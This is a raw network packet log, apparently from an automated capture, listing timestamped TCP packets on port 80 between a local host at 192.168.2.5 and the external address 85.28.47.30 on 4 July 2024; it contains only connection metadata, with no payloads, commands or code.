Jul 4, 2024 22:20:25.211395979 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.211401939 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.211424112 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.211445093 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.211503983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.211548090 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.214124918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.214167118 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.214312077 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.214323997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.214353085 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.214365005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.214493036 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.214503050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.214514017 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.214524984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.214534998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.214534998 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.214555979 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.214565992 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.215852022 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.215862989 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.215877056 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.215898037 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.215909958 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.215991020 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.216002941 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.216015100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.216052055 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.216064930 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.216404915 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.216415882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.216453075 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.217772007 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.217813015 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.217837095 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.217849016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.217880964 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.217972040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.217983007 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.217993975 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.218008995 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.218014956 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.218024015 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.218044996 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.218228102 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.218245983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.218256950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.218267918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.218277931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.218281031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.218281031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.218290091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.218292952 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.218302011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.218312025 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.218312025 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.218324900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.218338966 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.218357086 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.218703985 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.218753099 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.218755007 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.218766928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.218802929 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.218878031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.218921900 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.262485027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.262535095 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.262540102 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.262552023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.262577057 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.262588024 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.262656927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.262669086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.262680054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.262691975 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.262706995 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.262723923 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.262881994 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.262921095 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.275847912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.276000977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.276012897 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.276024103 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.276035070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.276048899 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.276073933 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.276150942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.276189089 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.276309013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.276321888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.276333094 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.276362896 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.276381969 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.276557922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.276570082 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.276582003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.276607037 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.276628017 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.276859999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.276871920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.276918888 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.288316011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.288467884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.288486958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.288515091 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.288537979 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.288620949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.288631916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.288644075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.288656950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.288671017 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.288695097 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.288912058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.288923979 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.288934946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.288945913 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.288961887 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.288974047 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.289057016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.289098024 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.289216042 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.289227962 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.289268017 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.289376020 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.289390087 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.289401054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.289427042 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.289455891 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.289750099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.289767027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.289810896 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.289925098 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.289937973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.289948940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.289969921 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.290004969 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.290070057 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.290083885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.290095091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.290107965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.290108919 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.290139914 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.290257931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.290308952 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.290414095 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.290432930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.290457010 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.290467978 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.294836044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.294846058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.294857025 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.294869900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.294889927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.294913054 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.294980049 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.294992924 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.295027018 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.295136929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.295150042 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.295186043 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.295552969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.295588017 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.295639992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.295650959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.295686960 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.295770884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.295783997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.295794010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.295806885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.295875072 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.295875072 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.302375078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.302422047 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.302442074 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.302453041 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.302479982 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.302500010 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.302572012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.302583933 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.302593946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.302606106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.302618027 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.302642107 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.302803040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.302841902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.302853107 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.302876949 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.302947044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.302958965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.302969933 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.302983046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.302992105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.303002119 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.303023100 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.303158045 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.303170919 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.303183079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.303193092 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.303205967 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.303235054 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.305799961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.305869102 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.305881023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.305913925 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.306019068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.306030989 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.306044102 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.306056023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.306068897 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.306082010 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.306097031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.307447910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.307493925 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.307498932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.307511091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.307537079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.307544947 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.307554007 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.307570934 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.307657003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.307668924 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.307706118 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.307724953 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.307737112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.307812929 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.311134100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.311180115 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.311191082 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.311203957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.311242104 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.311275005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.311285973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.311296940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.311321974 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.311337948 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.311413050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.311459064 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.311492920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.311505079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.311532021 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.311541080 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.311618090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.311630011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.311640978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.311656952 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.311669111 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.311675072 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.311733961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.311774015 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.311795950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.311806917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.311830997 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.311836958 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.311849117 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.311893940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.311927080 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.311950922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.311985016 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.312005043 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.312016964 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.312053919 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.312141895 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.312164068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.312186956 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.312201977 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.312266111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.312308073 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.356678009 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.356745005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.356750965 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.356756926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.356786966 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.356842995 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.356878042 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.356889963 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.356960058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.356971979 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.356983900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.356993914 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.357012033 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.357031107 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.367914915 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.367971897 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.367980957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.367993116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.368033886 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.368177891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.368190050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.368202925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.368217945 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.368228912 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.368252993 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.368271112 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.368736982 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.368782043 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.368818045 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.368829966 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.368863106 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.368877888 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.369025946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.369039059 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.369050980 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.369064093 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.369071007 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.369095087 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.369117022 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.380461931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.380511999 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.380522013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.380532980 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.380578995 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.380724907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.380737066 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.380752087 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.380762100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.380774021 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.380784988 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.380809069 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.380965948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.380983114 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.380994081 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.381006002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.381011009 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.381021023 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.381031990 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.381372929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.381392956 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.381402969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.381413937 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.381424904 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.381426096 CEST	49704	80	192.168.2.5	85.28.47.30
